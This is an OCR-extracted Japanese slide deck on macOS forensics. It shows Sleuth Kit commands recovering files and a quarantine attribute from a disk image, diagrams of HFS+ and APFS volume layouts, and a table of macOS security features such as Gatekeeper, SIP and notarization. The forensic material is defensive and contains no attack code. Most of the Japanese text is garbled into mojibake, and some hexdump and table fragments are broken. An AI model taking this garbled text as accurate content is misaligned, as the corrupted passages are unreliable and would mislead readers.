Type: EXATTR (4354-5) Name: com.apple.quarantine Resident size: 58

Z7/




O o I7AIDIIAR—b

® TSKICEBTARIAX=ZHEATHI (6/7)

ZHEBA(CHEAINBZDT
TPV AL LI~

% icat -0 409640 -B 1547567 ./data.dmg 6914785 > Hex_ Fiend_2.12.dmg

- Extended Attributes®I 7 AHR—

% icat -o 409640 -B 1547567 ./data.dmg 6914785-4354-4|]|

00000000
00000010
00000020
00000030
00000040
00000050

(snip)

62
74
6f
2d
2e
39

70 6c 69 73 74 30 30 a2 91 02 by11 01
74 70 73 3a 2f 2f 67 69 _Z& 2d
64 — . 61
I Node IDICAttributes IDZ S
61 ¢ 6d
32 30

td
70
VE
VE
2f
30

hexdump -n 1000 -C

68
72
65
33
32
2d

|bplistee... ...h|
| ttps://github-pr|
|oduction-release]
| -asset-2e65be.s3]|
| .amazonaws.com/2 |
| 928534 /b6df9700- |
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® TSKICEBTARIAX=ZHEATBN (7/7)

O -BIFHRI7AILOIIAN— K
% ifind -0 409640 -B 1547567 -n /Users/macforensics/Downloads ./data.dmg

1097488

% tsk_recover -a -0 409640 -B 1547567 -d 1097488 ./data.dmg ./export_files/
Files Recovered: 42

EROT7AINZIB TIIAR—RNTBENTES
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@ Appendix 3:
mMmacOSN\—23> DN —FT12a4EE
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()

mMacOS/\—23>EDIN—FT133a48& (1/8)

) omacOSDITFAIV AT s

= macOS 10.12LA#i{
» HFS+
» Classic Mac OSHSERESN TWSI7( IV AT I
» 7L AT AL OIBS{ER Y R— b
o T4 A DS AL CoreStoragez{H /A
= macOS 10.13LAf%
» APFS
» I74IV S AT AL ORES{ LD Y R— b
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()

MacOS/N\—>3>EDIN—-FT13 3 k& (2/8)

) omacOSH/N—T1>atgiE (1)
= macOS 10.12L4&1
» J7AIV 2 AT LIEHFS +
» AT LAED-Y—-FT—HEEUMR1— ARITFFIEL. UNIX
MERE L System Integrity Protection (SIP) TS AT ANME
FESNTULD
* macOS 10.13/10.14

» J—NTARIDIT7AINI AT LEUTAPFSHERRENTZHY,
JIN—F A AABE(THFS + DEFE(FEAEZ DB

PASKH



()

macOS/\—>3>EDIN—-T133>18i&E (3/8)

) S2F LT —F—
> emacOS 10.14 ACA1—ACARELTNS

diskOs1
EFI disk1s1

Macintosh HD

disk0s2

APFS Container disk1s2
Preboot

disk1s3
Recover

disk1s4
VM
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()

MacOS/N\—>3>ZEDIN—-T13 3 kEE (4/8)

) omacOSD/\N—71>atEiE (2)
= macOS 10.15

» X7 LB (Macintosh HDYARU1—AE1—H—FT—4H
(Macintosh HD — Data)/h1—AlC3ElIEN

» AT LERY1— A/ (root) JELT, U=RAN-TND
> hens

» CN52D0M1— AlFEIVZRIDIT AN 2 %Z2FH>THD.,
FirmlinkZziBU T, FBE@Em(Cm A DM 1—AICT7ITAT S
ZENTED

PASH)



()

macOS/N\—>3>EDIN—-T133>18i& (5/8)

) omacOS 10.15

disk0s2
APFS Container

disk1s1
Macintosh HD - Data

W ey Firmink

Macintosh HD

dick1s2 Read-only mount

Preboot

disk1s3
Recover

disk1s4
VM
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()

MacOS/N\—>3>EDIN—-FT13 3 kEE (6/8)

) omacOSDIN—T1>3>fE1E (3)
= macOS 11/12
»macOS 10.15&(FEREROL A7 K
» AT LN 1—LDRAFYT 2y b /1EL T, U=RASY
— XY b
o 2AFWTSayheDMU1—A[FR D> hENAL
> AT LARAR)1- ACEEFEREESNDLICRD. B
EARFE(CRBN T BEOSZAEFN TSR
e Signed System Volume (SSV)
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mMacOS/\—23>CEDIN—-FT133a48& (7/8)

disk1s1 —
Macintosh HD - Data Firmlink

C

> omacOS 11/12 (Intel)

i diskOs1
dis< EFI disk1s5 disk1s5s1
Macintosh HD com.apple.os.update-GUID
disk0s2 disk : Snapshot
T T — disk1s2 Moun’ged on/
Preboot (root directory)
disk1s3 Read-only mount
Recover
disk1s4
VM
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C

) omacOSDI AT LITAINEFZRS AN
= RARLTEOTLS

A (L. 1Y —hMEE 7 ABEER

SAJHETE(I L

g

H

(o]

e mMacOSN—S3>TED/—T4SaAEE (8/8)

I (CERIE I NIELL

wExf)(CEEF
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@ Appendix 4:
macOStF+1Ur1JL—-LT-7
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¢ macOStF1Ur4JL—-AT—-7 (1/4)

File Quarantine

XProtect

Gatekeeper

Malware Removal
Tool (MRT)

System Integrity
Protection (SIP)

App Transport
Security (ATS)

OS X 10.5

OS X 10.6

OS X 10.7

OS X 10.11(?)

OS X' 10.11

OS X 10.11

A7>0—RUIET7A)UICcom.apple.quarantinelbaRiB 4 =459 3.
COILRE M ZIFDI74 )&, XProtect, Gatekeeper, NotarizationDF 1V
DIFERICIRB

IS 7>FI1/4ILAY—). com.apple.quarantinediaREHENERESN TS
J7A IV RKEEICFIVINITNND. macOS 10.15 A F(3HLRE DB HR(C
M5 TE(CFIVIEN S,

AppleNF1T9 37 A0V IDDIREEE 7 TV -3 DEZDIREE VAU
7T —23>0H%RTI 3.

1> A= IBHONINI 17 ZARINB LUHIBR D U7 ILAA LAOIRK TR
(A

root CH7ITATERVIAINAP I IV RHTET D,
Al : rootless

HEEIE TSR OIZsh. NSURLSession, NSURLConnectionZ{E3APIT
Appleh 2 9 24 %TEIZ I HTTPSIBEDHNEFE]EN 3.,




¢ macOStF1Ur4JL—-ALT-7 (2/4)

Gatekeeper Path
Randomization
(GPR)

User Consent
(User Privacy
Protection / TCC)

Secure Kernel
Extension
Loading (SKEL)

Enhanced
Runtime
Protection
(Hardened
Runtime)

macOS 10.12

macOS 10.13

macOS 10.13

macOS 10.14

dylib hijacking (RepackagingI{Z&) XK TEASNIHAiT.

7IVT =232 A R=IVEFICA VA R=5DMNHBUY - (ARIERdylib
BRE) ZBFMADRBWVEIC, A AM=IVRICT TVT—2a> =528 ©RERID
IANATFBENL THSEA A R=)LAIE MR E D LS(CT B,

DATOME R A—IREI-HDT 54N\ —(CREET 2T —IhURFEN
TWBTALINIC7IER T BBRCI-TDF I EICIR D, root TEI I
ATERL,

D TRHADH—RIVIER(KEXT)IC - OFn] 2 nEE T B,
macOS 10.10LAB&. h—RINLIRICEBZ I BENKOSNTLBN, CORLEE
FEBZOBECHHINHSTHEEET B,

SIPO¥ERER 7 T —2as(THEERL. T/ W0 —RA > 21933 % [H<,



e macOStF+iUr1JL—-LD-7T (3/4)

Notarization

Read-only
System Volume

EndpointSecurity
Framework

macOS 10.14

macOS 10.15

macOS 10.15

FFEENMac App Store ISV CHEM S 27 JUT—23>%Applelc7yJ0—R
U. JILDIT7HED ORI R F TV T TEED. FIvI%/N AU T
—2AVIF oy MR TEN., 7IUT -2  ERICEEfREN 3.

ZOVT MOBEAD A FUICIE. COFTYEBAEINR. £z, quarantine
bith'IZ 2 TLBEDDHFIVIEND . AFEBDE RGN TN TUVRVAppbFIY
DI ERIN T2 D macOS 10.14.5ABF (I F v sg il ans.

APFSTS 2T LRAMN)1—LET—ARRY1- L2 EIL. S AT LRAMN) 114
(FU—=RAN)-TYIDRFBIET, ZATLITAINDERE AZ2BRIET S,
TOCREITOIPAINCK S BT ITACTAIREDS AT LA M BRI B
HOIL—LT=7, aiF. &7TVT—23> TRIZFOHEENMERR [CEEEN
TUWHY b= AD—JEUTHREEN S LS(T7012,




e macOStFiUr1IJL—-LD-T (4/4)

User Intent macOS 10.15 | 1-HY-HFBRILEWECfI5EN3ILRE . FTIIUvIPRIYI 7> RE

(com.apple.macl) Oy, NSOpenPanel 75 AZ{ERUILI7AIADT7 I A (User IntentE R
ENB. ZI7ANARTAILAD com.apple.macl ILERBMEICT TVT—23>0
UUIDNES SN2 TERERkaN 5. COBRICTSA NS —REDOH1 7O E (S

KRNV, FEENRERROT, IEHEC(EEF1)T B TERUNELNR
LYo

Signed System macOS 11.0 AT AN —LDITFAIVI AT LAIT—AIC, J\WwS 1{B(SHA-256)MRFS
Volume (SSV) N3, OSECENFIC) VS HMEDRRENM TN ARFEICKBIUISE . OSEBA>
A=V EfEEN 3,
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macOStx1V574IL — LAD—D:%TE OESS

> SilentKnight
https.//eclecticlight.co/lockrattler-systhist/

* macOSOZAELF VT I —LT-ID)\->3>
PERTEIRTTZGUITHEER TS 2

Check

/

Mac model MacBookPro15,1 4 xProtect 2153

¥4 1715.60.5.0.0 is up to date ¥ Gatekeeper 181, 8.0
4 sIP & S5V enabled. 2 MRT 1.85

4 xProtect enabled. 4 Tcc 15019

4 Filevault on. W KEXT 16.4.0
4 no updates.

Mac model MacBookProl15,1

EFI version found 1715.60.5.0.0 (iBridge: 19.16.10647.0.0,0); expected
1715.60.5.0.0 iBridge 19.16.10647.0.0

u EFI firmware appears up to date.

u XProtect 2153 should be 2153

4 Gatekeeper 181, 8.0 should perhaps be 181, 8.0
u_ MRT 1.85 should be 1.85

4 1CC 15 should be 15019

K4 KEXT 16.4.0 should be 16.4.0

K4 SIP & SSV enabled.

K xProtect assessments enabled

4 Filevault is On.

macOS Version 11.6.2 (Build 20G314)
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e CREDITS for this presentation template and Icons

O Special thanks to all the people who made and
released these awesome resources for free:

> Presentation template by SlidesCarnival
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